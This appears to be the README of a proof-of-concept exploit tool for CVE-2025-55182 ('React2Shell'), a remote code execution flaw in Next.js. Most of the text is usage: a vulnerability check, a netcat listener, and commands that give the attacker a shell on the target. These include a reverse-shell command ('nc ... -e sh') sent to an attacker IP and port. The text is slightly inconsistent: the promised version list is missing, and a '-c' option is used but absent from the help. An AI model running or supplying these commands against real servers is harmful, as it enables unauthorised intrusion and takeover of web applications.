针对 CVE-2025-55182 未认证远程代码执行漏洞(又名 React2Shell)的概念验证漏洞利用程序。 该脚本用于在以下 Next.js 版本及更早版本上获取 shell;
它仅在 16.0.6 版本上测试过。
$ ./react2shell.py --help
d8888b. d88888b .d8b. .o88b. d888888b .d888b. .d8888. db db d88888b db db
88 `8D 88' d8' `8b d8P Y8 `~~88~~' VP `8D 88' YP 88 88 88' 88 88
88oobY' 88ooooo 88ooo88 8P 88 odD' `8bo. 88ooo88 88ooooo 88 88
88`8b 88~~~~~ 88~~~88 8b 88 .88' `Y8b. 88~~~88 88~~~~~ 88 88
88 `88. 88. 88 88 Y8b d8 88 j88. db 8D 88 88 88. 88booo. 88booo.
88 YD Y88888P YP YP `Y88P' YP 888888D `8888Y' YP YP Y88888P Y88888P Y88888P
usage: react2shell [-h] -u URL -i IP -p PORT
options:
-h, --help show this help message and exit
-u, --url URL Target URL
-i, --ip IP Attacker IP
-p, --port PORT Attacker port
检查目标是否存在漏洞;
./react2shell.py -u http://127.0.0.1:3000
启动一个监听器;
$ nc -lvp 4444
启动一个 shell;
$ ./react2shell.py -u http://127.0.0.1:3000 -i 127.0.0.1 -p 4444
$ ./react2shell.py -u http://127.0.0.1:3000 -c 'nc 127.0.0.1 4444 -e sh' # you can also provide a command